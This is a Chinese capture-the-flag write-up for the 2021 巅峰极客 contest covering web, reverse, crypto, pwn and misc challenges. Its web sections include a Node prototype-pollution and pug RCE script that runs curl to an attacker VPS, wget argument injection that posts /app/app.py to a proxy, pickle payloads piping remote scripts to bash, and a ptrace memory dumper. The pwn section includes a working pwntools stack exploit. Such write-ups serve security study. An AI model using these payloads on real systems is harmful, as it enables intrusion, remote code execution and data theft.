Web

ezjs

题目内容:简单的个人空间系统。

任意用户名登录进去找到图片那一处明显的文件下载。源码拖下来后首先注意到lodash 4.17.15搭配express-validator。即去年xnuca的某原型链污染。由于此题body-parser限制post无法传对象,所以最多做到污染基类某属性为空字符串。不过足以绕过admin跟debug的限制

然后注意到源码里info.pretty比较突兀。作为res.render的option被送到pug了。想起来今年看到过balsn的师傅挖到的一个pug的rce,确认了下就是用option.pretty。所以直接打即可。

# coding: utf-8
# -**- author: byc_404 -**-
import requests

#url = 'http://127.0.0.1:8000/'
url = 'http://eci-2zei3etz0ejvyoen46nl.cloudeci1.ichunqiu.com:8888/'

cookies = {}
r = requests.post(url + 'login', data={
    'username': 'bycbycbyc',
    'password': '12312123',
}, allow_redirects=False)
print(r.text)
cookies = {
    'session': r.headers['Set-Cookie'].split('; Path=/')[0].split('=')[1]
}
print(cookies)
r = requests.post(url + 'login', data={
    'username': 'bycbycbyc',
    'password': '12312123',
    '"].__proto__["isadmin': '12123',
    '"].__proto__["debug': '12123',
}, cookies=cookies, allow_redirects=False)
r = requests.get(url + 'admin/?p=%27);process.mainModule.constructor._load(%27child_process%27).execSync(%27curl%20VPS%27).toString();_=(%27', cookies=cookies)
print(r.text)

what_pickle

题目内容:find the flag.

首先关注到题目cookie。flask的session里存了pickle opcode的base64。所以需要secret_key来进行pickle反序列化。

寻找读文件的方式。注意到images路由的文件加载,利用debug模式的报错发现是通过奇葩的wget加载文件。可控shell args。wget -h找一下可用的option发现--execute可以设置代理。所以夹带靶机文件利用代理即可读文件
/images?image=&argv=--post-file=/app/app.py&argv=--execute=http_proxy=http://VPS:9000

拿到文件注意到pickle设置了自定义的反序列化loader。只能用config模块下的内容。同时config下一个backdoor函数在绕过全局变量notadmin后可以eval。所以需要利用pickle覆盖全局变量+eval命令执行。

看了下后直接手搓。先往前序栈上放一个config.notadmin,然后往栈上放一个mark,一组字典,用u更新达成覆盖全局变量。然后调用backdoor函数:同样栈上放一个config.backdoor,放一个MARK,放一个]以及cmd,a这样一个列表作为函数参数。最后t把元组构建好,利用R把栈里的两个内容弹出来执行命令。

至于命令执行直接把cmd字符串的opcode拼接到里面就行。然后本地直接用dump下来的源码起一个Flask server,拿到cookie.


@app.route('/debug')
def poc():
    data = b"""\x80\x04cconfig\nnotadmin\n(\x8c\x05admin\x94\x8c\x03yes\x94ucconfig\nbackdoor\n(]\x8c;__import__('os').system('wget -q  -O- VPS|bash')\x94atR."""
    session['info'] = base64.b64encode(data)
    print(session)
    return "Done"

之后拿到shell后卡了很久。源码里的readflag.so对应的easy函数并没有办法获得flag。但是代表flag被读到内存里了。

巅峰极客2021 Writeup by X1cT34m-小绿草信息安全实验室

经pwn手帮助找到一个拿/proc/xxx/mem的方法

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <arpa/inet.h>

void dump_memory_region(FILE* pMemFile, unsigned long start_address, long length, int serverSocket)
{
    unsigned long address;
    int pageLength = 4096;
    unsigned char page[pageLength];
    fseeko(pMemFile, start_address, SEEK_SET);

    for (address=start_address; address < start_address + length; address += pageLength)
    {
        fread(&page, 1, pageLength, pMemFile);
        if (serverSocket == -1)
        {
            // write to stdout
            fwrite(&page, 1, pageLength, stdout);
        }
        else
        {
            send(serverSocket, &page, pageLength, 0);
        }
    }
}

int main(int argc, char **argv) {

    if (argc == 2 || argc == 4)
    {
        int pid = atoi(argv[1]);
        long ptraceResult = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
        if (ptraceResult < 0)
        {
            printf("Unable to attach to the pid specified\n");
            return;
        }
        wait(NULL);

        char mapsFilename[1024];
        sprintf(mapsFilename, "/proc/%s/maps", argv[1]);
        FILE* pMapsFile = fopen(mapsFilename, "r");
        char memFilename[1024];
        sprintf(memFilename, "/proc/%s/mem", argv[1]);
        FILE* pMemFile = fopen(memFilename, "r");
        int serverSocket = -1;
        if (argc == 4)
        {   
            unsigned int port;
            int count = sscanf(argv[3], "%d", &port);
            if (count == 0)
            {
                printf("Invalid port specified\n");
                return;
            }
            serverSocket = socket(AF_INET, SOCK_STREAM, 0);
            if (serverSocket == -1)
            {
                printf("Could not create socket\n");
                return;
            }
            struct sockaddr_in serverSocketAddress;
            serverSocketAddress.sin_addr.s_addr = inet_addr(argv[2]);
            serverSocketAddress.sin_family = AF_INET;
            serverSocketAddress.sin_port = htons(port);
            if (connect(serverSocket, (struct sockaddr *) &serverSocketAddress, sizeof(serverSocketAddress)) < 0)
            {
                printf("Could not connect to server\n");
                return;
            }
        }
        char line[256];
        while (fgets(line, 256, pMapsFile) != NULL)
        {
            unsigned long start_address;
            unsigned long end_address;
            sscanf(line, "%08lx-%08lx\n", &start_address, &end_address);
            dump_memory_region(pMemFile, start_address, end_address - start_address, serverSocket);
        }
        fclose(pMapsFile);
        fclose(pMemFile);
        if (serverSocket != -1)
        {
            close(serverSocket);
        }

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
    }
    else
    {
        printf("%s <pid>\n", argv[0]);
        printf("%s <pid> <ip-address> <port>\n", argv[0]);
        exit(0);
    }
}

最后直接尝试pid靠前的进程的mem.从pid为17的文件夹中找到
./poc 17 | grep -a flag

巅峰极客2021 Writeup by X1cT34m-小绿草信息安全实验室

opcode

题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?

赛后几分钟出的(懊恼
其实这道题非常的简单,总共就两个坑(要是细心点一个坑都没有):

  • 限制使用 builtins 模块的函数全局并没有使用,所以防了个寂寞
  • loads使用的是0号协议,该协议没有版本号前缀,所以在data.decode()时不会引起运行错误

知道这两个坑之后就很顺畅了,imagePath参数任意文件读,然后无Ropcode直接payload(cos\nsystem\nS'curl http://IP/bash.txt|bash'\no.一把梭

Reverse

baby_maze

伊卡洛斯大迷宫
附件下载:https://pan.baidu.com/s/1mxkMzMTAaay6MXFpJBG71A 提取码(GAME)
备用下载:https://share.weiyun.com/8dHDqG7i

根据每走一步返回的字符串来判断该方向是否可以走下去

用DFS搜索 剪枝掉不符合要求的路径

当遇到符合要求的字符串将路径输出到另一个文件即可

运行脚本即可在map.txt文件下 找到符号要求路径

from pwn import *

#sh = process('./maze')
context(arch='amd64',os='linux',log_level='info')

direc = [b'W',b'S',b'A',b'D']
anti_direc = [b'S',b'W',b'D',b'A']

#sh.recvuntil(b'south.\n')

#payload = b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDDSSDDSSSSSSSSSSDDDDSSAAAASSSSSSAASSSSAAWWAASSSSDDDDDDDDDDSSDDSSAASSSSAASSSSSSSSDDWWWWWWDDWWWWDDWWWWDDSSSSSSSSAASSSSDDDDSSDDDDWWDDSSDDSSDDDDDDDDSSSSSSSSAAAAAAAASSDDDDDDDDDDWWDDSSDDSSSSSSSSSSAAAAAASSDDSSSSDDSSAASSSSSSSSSSDDWWWWDDSSSSSSDDSSSSDDSS'

payload = b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDD'

#print(direc[0])
#for i in range(0,9):
#    p=process('./maze')
#    p.recvuntil(b'south.\n')
#    p.sendline(payload)
#    for j in range(0,9):
#        print(p.recvuntil('\n'))
#    p.close()

def DFS(payload,length):
    if length ==480:
        F = open('pay.txt','a+')
        F.write(str(payload) + '\n')
        F.close()
        return 0
    print(payload)
    p = process('./maze')
    p.recvuntil('south.\n')
    p.sendline(payload)
    for i in range(0,length-1):
        p.recvuntil('\n')
    temp = p.recvuntil('\n')
    print(temp)
    if temp == b'OUCH!!!!\n' or temp == b'I can\'t see the sky\n' or temp == b'Shit!!\n' or temp == b'Wall!!!\n' or temp == b'Fxxk!!!\n' or temp == b'nononononono\n' or temp == b'Uh... yeah, no.\n' or temp == b'Oh!!Monster\n' or temp == b'Maybe this is a mistack\n' or temp == b'Oh no!!!\n' or temp == b'Let me out!!!\n':
        p.close()
        print('WRRONG !!! -----',payload)
        return 0
    if temp == b'Good Job. \n':
        F=open('map.txt','a')
        p.close()
        for i in range(100):
            F.write(str(payload) + '\n')
        F.close()
        return 0
    p.close()
    print('------------------------------')
    t = payload[length-1:length]
    for i in range(0,4):
        if t!= anti_direc[i]:
            payload += direc[i]
            DFS(payload,len(payload))
            payload = payload[0:len(payload)-1]
            #print(payload)

DFS(payload,len(payload))

#sh.interactive()

medical_app

附件下载:https://pan.baidu.com/s/1y3clte4F9SsQ5T3P3GuYxQ 提取码(GAME)
备用下载:https://share.weiyun.com/ETFkiMSS

rc4+xxtea

解密xxtea

#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9F5776B6
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(uint32_t* v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}

int main()
{
    uint32_t v[9] = { 0x68e5973e,0xc20c7367,0x98afd41b,0xfe4b9de2,0x1a5b60b,0x3d36d646,0xdbcc7baf,0xa0414f00,0x762ce71a };
    uint32_t const k[4] = { 0x1,0x10,0x100,0x1000 };
    int n = 9; //n的绝对值表示v的长度,取正表示加密,取负表示解密  
    // v为要加密的数据是两个32位无符号整数  
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  

    btea(v, -n, k);
    for (int i = 0; i < 9; ++i)
        printf("v[%d] == 0x%x\n",i,v[i]);
    return 0;
}

之后解密rc4

a = [0x01, 0x5A, 0xE2, 0x87, 0xD2, 0x64, 0x43, 0x3C, 0x97, 0xCD, 
  0xC7, 0x0E, 0x95, 0xBA, 0x6F, 0xD1, 0x5C, 0x17, 0x49, 0xBA, 
  0x8F, 0x31, 0xE1, 0x41, 0x39, 0x74, 0x9A, 0x5B, 0xCF, 0xB9, 
  0x5F, 0x19, 0xE2, 0x81, 0x5E, 0xD8]
b = "123456789012345678901234567890123456"

XOR = []

for i in range(36):
    XOR.append(a[i] ^ ord(b[i]))

#tmp = [ 0x3E, 0x97, 0xE5, 0x68, 0x67, 0x73, 0x0C, 0xC2, 0x1B, 0xD4, 
#  0xAF, 0x98, 0xE2, 0x9D, 0x4B, 0xFE, 0x0B, 0xB6, 0xA5, 0x01, 
#  0x46, 0xD6, 0x36, 0x3D, 0xAF, 0x7B, 0xCC, 0xDB, 0x00, 0x4F, 
#  0x41, 0xA0, 0x1A, 0xE7, 0x2C, 0x76]
#sd = []
#for i in range(9):
#  sd.append( (tmp[4*i+3]<<24) ^ (tmp[4*i+2] << 16) ^ (tmp[4*i+1] << 8) ^ tmp[4*i] )
#for i in range(len(sd)):
#    print(hex(sd[i]),end=",")

test = [0x56,0x04,0xb0,0xd4,0x9c,0x63,0x4d,0x30,0x96,0xce,0xc0,0x05,0x93,0xbe,0x3b,0x82,0x52,0x4b,0x16,0xb2,0x8a,0x33,0xb7,0x4d,0x6d,0x7b,0x99,0x50,0xc2,0xb1,0x0c,0x12,0xe1,0x84,0x0a,0x93]
for i in range(len(test)):
    print(chr(test[i] ^ XOR[i]),end="")

so_get_sourcecode

题目内容:小胖不费吹灰之力拿到了shell准备开开心心审计网站代码,但他发现文件内容有点不对劲,so so so so so, Can you help him?
动态环境

web一个文件上传,getshell发现php文件加了混淆,phpinfo看到php_screw_plus

巅峰极客2021 Writeup by X1cT34m-小绿草信息安全实验室

然后查了下,发现想要解混淆,需要拿到编译前的cakey

/usr/lib/php/20160303下dump下来php_screw_plus.so

找到源文件https://github.com/del-xiong/screw-plus/blob/master/decode.c

对比一下发现 cakey改了 还多了个xor 对源码修改编译 再-d解混淆就行了

#编译
phpize && \
./configure --with-php-config=php-config && \
make && make install && \
cd tools && make
巅峰极客2021 Writeup by X1cT34m-小绿草信息安全实验室
CAKEY "GH65Hws2jedf3fl3MeK"

flag{47a3f7b1-499c-4e45-ed3e-404602cfef96}
//screw.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <dirent.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../php_screw_plus.h"
#include "../aes.c"
#include "../aes_crypt.c"
#include "../md5.h"

int teg_yek(FILE *fp)
{
  unsigned int v1; // eax
  ssize_t v2; // rax
  int result; // eax
  char path[256]; // [rsp+0h] [rbp-218h] BYREF
  char buf[264]; // [rsp+100h] [rbp-118h] BYREF

  v1 = fileno(fp);
  sprintf(path, "/proc/self/fd/%d", v1);
  v2 = readlink(path, buf, 0x100uLL);
  if ( v2 < 0 )
    result = -1;
  else
    result = path[v2 + 251];
  return result;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <dirent.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../php_screw_plus.h"
#include "../aes.c"
#include "../aes_crypt.c"
#include "../md5.h"

int teg_yek(FILE *fp)
{
  unsigned int v1; // eax
  ssize_t v2; // rax
  int result; // eax
  char path[256]; // [rsp+0h] [rbp-218h] BYREF
  char buf[264]; // [rsp+100h] [rbp-118h] BYREF

  v1 = fileno(fp);
  sprintf(path, "/proc/self/fd/%d", v1);
  v2 = readlink(path, buf, 0x100uLL);
  if ( v2 < 0 )
    result = -1;
  else
    result = path[v2 + 251];
  return result;
}
...
void screw_encrypt(char *file) {
    FILE    *fp;
    struct  stat    stat_buf;
    char    *datap;
    int datalen;
    char    oldfilename[256];
    char *prepare;
    char lenBuf[16];
    int i;
    memset(lenBuf, 0, 16);
    memset(key, 0, sizeof(key));
    memcpy(key, md5(CAKEY), 32);
    memcpy(enTag, key, 16);

    fp = fopen(file, "rb");
    if (fp == NULL) {
        fprintf(stderr, "File not found(%s)", file);
        exit(0);
    }

    int v7 = teg_yek(fp);
    fstat(fileno(fp), &stat_buf);
    datalen = stat_buf.st_size;
    datap = (char*)malloc(maxBytes);
    memset(datap, 0, sizeof(datap));
    fread(datap, datalen, 1, fp);
    fclose(fp);
    sprintf(lenBuf,"%d",datalen);
    if (memcmp(datap, enTag, 16) == 0) {
        errMsg(file ," Already Crypted");
        return ;
    }else if(datalen <1) {
        errMsg(file ," will not be crypted");
        return ;
    }
    screw_aes(1,datap,datalen,key,&datalen,v7);
    fp = fopen(file, "wb");
    if (fp == NULL) {
        errMsg("Can not create crypt file(%s)", oldfilename);
        exit(0);
    }
    fwrite(enTag, 16, 1, fp);
    fwrite(lenBuf, 16, 1, fp);
    fwrite(datap, datalen, 1, fp);
    fclose(fp);
    alertMsg("Success Crypting - ", file);
    free(datap);
}
void screw_decrypt(char *file) {
  FILE  *fp;
  struct  stat  stat_buf;
  char  *datap;
  char  lenBuf[16];
  int i,datalen;
  uint8_t enTag[16];
  uint8_t key[64];
  fp = fopen(file, "rb+");
  if (fp == NULL) {
    errMsg("File not found(%s)", file);
    exit(0);
  }
  int v7 = teg_yek(fp);
  memset(key, 0, sizeof(key));
  memcpy(key, md5(CAKEY), 32);
  memcpy(enTag, key, 16);
  memset(lenBuf, 0, 16);
  fstat(fileno(fp), &stat_buf);
  datalen = stat_buf.st_size;
  datap = (char*)malloc(maxBytes);
  memset(datap, 0, sizeof(datap));
  fread(datap, datalen, 1, fp);
  fclose(fp);
  if(memcmp(datap, enTag, 16) == 0) {
    for(i=16; i<datalen; i++) {
      if(i<32)
        lenBuf[i-16] = datap[i];
      else
        datap[i-32] = datap[i];
    }
    screw_aes(0,datap,datalen,key,&datalen,v7);
    datalen = atoi(lenBuf);
    fp = fopen(file, "w+");
    fwrite(datap, datalen, 1, fp);
    free(datap);
    fclose(fp);
    alertMsg("Success Decrypting - ", file);
  }else {
    errMsg("Not a valid crypted file.","");
  }

}
//aes_crypt.c
void screw_aes(int crypt,uint8_t *buf,int bufLen,uint8_t *key,int *rLen,int c){
    uint8_t t,out;
    aes_context aes;
    int blocks = 0,i,rm = bufLen % 16;
    int end = 0,decSize=0;
    char v6;
    char v9;
     v6 = c;
    blocks = bufLen/16 + (rm?1:0);
if ( c == -1 )
    v6 = 85;
    if(crypt)
        aes_setkey_enc( &aes, key, 256 );
    else
        aes_setkey_dec( &aes, key, 256 );
    for(i=0;i<blocks;i++) {
        v9 = v6;
        if(crypt){
            aes_crypt_cbc(&aes, AES_ENCRYPT, 16, key, buf+i*16, buf+i*16);
            for(int v = 0 ; v < 16 ; ++v)
              *(buf+i*16 +v) ^= v9;

        }
        else{
             for(int v = 0 ; v < 16 ; ++v)
              *(buf+i*16 +v) ^= v9;
            aes_crypt_cbc(&aes, AES_DECRYPT, 16, key, buf+i*16, buf+i*16);
        }
    }
    *rLen = blocks * 16;

}
//php_screw_plus.c
int teg_yek(FILE *fp)
{
  unsigned int v1; // eax
  ssize_t v2; // rax
  int result; // eax
  char path[256]; // [rsp+0h] [rbp-218h] BYREF
  char buf[264]; // [rsp+100h] [rbp-118h] BYREF

  v1 = fileno(fp);
  php_sprintf(path, "/proc/self/fd/%d", v1);
  v2 = readlink(path, buf, 0x100uLL);
  if ( v2 < 0 )
    result = -1;
  else
    result = path[v2 + 251];
  return result;
}

FILE *pm9screw_ext_fopen(FILE *fp)
{
  struct  stat  stat_buf;
  char  *datap, *newdatap;
  char lenBuf[16];
  int datalen, newdatalen=0;
  int i;
  int v7;
  uint8_t enTag[16];
  uint8_t key[64];
  memset(key, 0, sizeof(key));
  memcpy(key, md5(CAKEY), 32);
  memcpy(enTag, key, 16);
  memset(lenBuf, 0, 16);
  fstat(fileno(fp), &stat_buf);
  datalen = stat_buf.st_size;
  datap = (char*)malloc(maxBytes);
  memset(datap, 0, sizeof(datap));
  fread(datap, datalen, 1, fp);
  v7 = teg_yek(fp);
  fclose(fp);
  if(memcmp(datap, enTag, 16) == 0) {
    for(i=16; i<datalen; i++) {
      if(i<32)
        lenBuf[i-16] = datap[i];
      else
        datap[i-32] = datap[i];
    }
    screw_aes(0,datap,datalen,key,&datalen,v7);
    datalen = atoi(lenBuf);
  }else if(STRICT_MODE){
    datalen = 0;
  }
  fp = tmpfile();

  if (datalen > 0) {
    fwrite(datap, datalen, 1, fp);
  } else {
    fwrite(STRICT_MODE_ERROR_MESSAGE, strlen(STRICT_MODE_ERROR_MESSAGE), 1, fp);
  }

  free(datap);

  rewind(fp);
  return fp;
}

Crypto

MedicalImage

附件下载:https://pan.baidu.com/s/1cSY5Ha_xvSDGvMC_9iLv-w 提取码(GAME)
备用下载:https://share.weiyun.com/dgvuR78b
from decimal import *
from PIL import Image
import numpy as np

getcontext().prec = 20
def f(x): return 4*x*(1-x)

def outputImage(path, pic, size):
    im = Image.new('P', size, 'white')
    pixels = im.load()
    for i in range(im.size[0]):
        for j in range(im.size[1]):
            pixels[i, j] = (int(pic[j][i]))
    im.save(path)

def decryptImage(path):
    im = Image.open(path)
    size = im.size
    pic  = np.array(im)
    im.close()
    r1 = Decimal('0.478706063089473894123')
    r2 = Decimal('0.613494245341234672318')
    r3 = Decimal('0.946365754637812381837')
    for i in range(200):
        r1, r2, r3 = f(r1), f(r2), f(r3)
    cnt = 0
    const = 10**14
    for p0 in range(100, 105):
        for c0 in range(200, 205):
            r1_, r2_, r3_, pic_ = r1, r2, r3, pic
            for x in range(size[0]):
                for y in range(size[1]):
                    k = int(round(const * r3_)) % 256
                    k = bin(k)[2:].ljust(8, '0')
                    k = int(k[p0 % 8:] + k[:p0%8], 2)
                    r3_ = f(r3_)
                    p0 = ((pic_[y, x] ^ c0 ^ k) + 256 - k) % 256
                    c0 = pic_[y, x]
                    pic_[y, x] = p0
            R1, R2 = [r1_], [r2_]
            for _ in range(size[0] * size[1]):
                R1.append(f(R1[-1]))
                R2.append(f(R2[-1]))
            cnt1, cnt2 = 1, 1
            for x in range(size[0]-1, -1, -1):
                for y in range(size[1]-1, -1, -1):
                    cnt1, cnt2 = cnt1 + 1, cnt2 + 1
                    x1 = int(round(const * R1[-cnt1])) % size[0]
                    y1 = int(round(const * R2[-cnt2])) % size[1]
                    tmp = pic_[y, x]
                    pic_[y, x] = pic_[y1, x1]
                    pic_[y1, x1] = tmp
            outputImage("data/guess_flag{}.bmp".format(cnt), pic_, size)
            cnt += 1

decryptImage('flag_enc.bmp')

crtrsa

crack the unsafe crt-rsa!
附件下载:https://pan.baidu.com/s/1OXB96q0XJoxfqH1cNFd5bw 提取码(GAME)
备用下载:https://share.weiyun.com/680hJMa6

题目生成私钥d的过程很奇怪,先是生成了两个dp, dq(其中dp取值范围是1~1048576,可以穷举),然后用中国剩余定理计算出d,再去生成加密指数e。

本地测试发现e dp = 1 (mod p-1),可以得到edp - 1p-1的倍数。

再根据费马小定理可知对任意的数xx(p-1) = 1 (mod p),那么也有x(k*(p-1)) = 1 (mod p),从中可以求得一个素数p的一个倍数x*(k(p-1)),使用欧几里得算法对这个倍数和n取公约数即可分解出来p

from Crypto.Util.number import GCD, long_to_bytes

e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
N = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
flag = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399

for guess in range(1, 2**20+1):
    multiple_of_p_1 = e * guess - 1
    multiple_of_p = pow(123, multiple_of_p_1, N) - 1
    p = GCD(multiple_of_p, N)
    if  p == 1:
        continue
    # guess is right
    q = N // p
    assert p * q == N
    print(p, q)
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    m = pow(flag, d, N)
    print(long_to_bytes(m))
    break    
# 88483113499234291234797595363172914275282163218450540253170700235627922981203 67878806291419072490288882236306878116879255807470070199241473147697087841261
# b'flag{d67fde91-f6c0-484d-88a4-1778f7fa0c05}'

PWN

msgparser

try to exploit the parser!
nc 118.190.217.168 43589

附件下载:https://pan.baidu.com/s/1gKGSQhS65hXRIM5LzzQYFg 提取码(GAME)
备用下载:https://share.weiyun.com/sXg4tBVF

赛后半小时出的。本以为两天比赛准备晚上肝结果。。。
http套皮题
实现了一堆莫名其妙没有用处的功能。
实际就是一个入门栈。
\x00会被截断,\x00后面的数据会变得很奇怪,先把后面的填好再去整\x00

from pwn import *
#r=process('./chall')
r=remote('118.190.217.168',43589)
def gd(cmd=''):
    gdb.attach(r,cmd)
    pause()
py1='''GET / HTTP/1.0
Connection:Keep-Alive
Content-Length:%s

'''
py=py1%str(10)+'\x01'+'a'
print(py)
r.recvuntil('msg> ')
r.sendline(py)
py=py1%str(0x100)+'\x02'
r.recvuntil('msg> ')
r.sendline(py)
r.recv(0x58)
canary=u64(r.recv(8))
print(hex(canary))
r.recv(8)
lbase=u64(r.recv(8))
print hex(lbase)
libc=ELF('./libc-2.27.so')
lbase=lbase-231-libc.symbols['__libc_start_main']
print hex(lbase)
py2='\x01'+'a'*0x6f+'\x00'
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
py2='\x01'+'a'*0x57+'bb'+p64(canary)[1:]+'a'*8+p64(lbase+0x4f3d5)[:6]+'\x00'*1
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
py2='\x01'+'a'*0x58+'\x00'
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
r.interactive()
#flag{VuLNe3ab1e_HTTP_P4r3er}

Misc

签到

YY给我发了一串表情,说了GAME,这是什么意思?
附件下载:https://pan.baidu.com/s/1lmj27SlyAx0czhn9pJ85rA 提取码(GAME)
备用下载:https://share.weiyun.com/vhV796td

解压出来:

????????????????☀??????????☺??????⏩☺??⌨??????☂??☃????????????✅??

题目描述提到GAME,直接codemoji解码不行,所以想到codemoji aes decode:
key是GAME
在线网站:https://aghorler.github.io/emoji-aes/

巅峰极客2021 Writeup by X1cT34m-小绿草信息安全实验室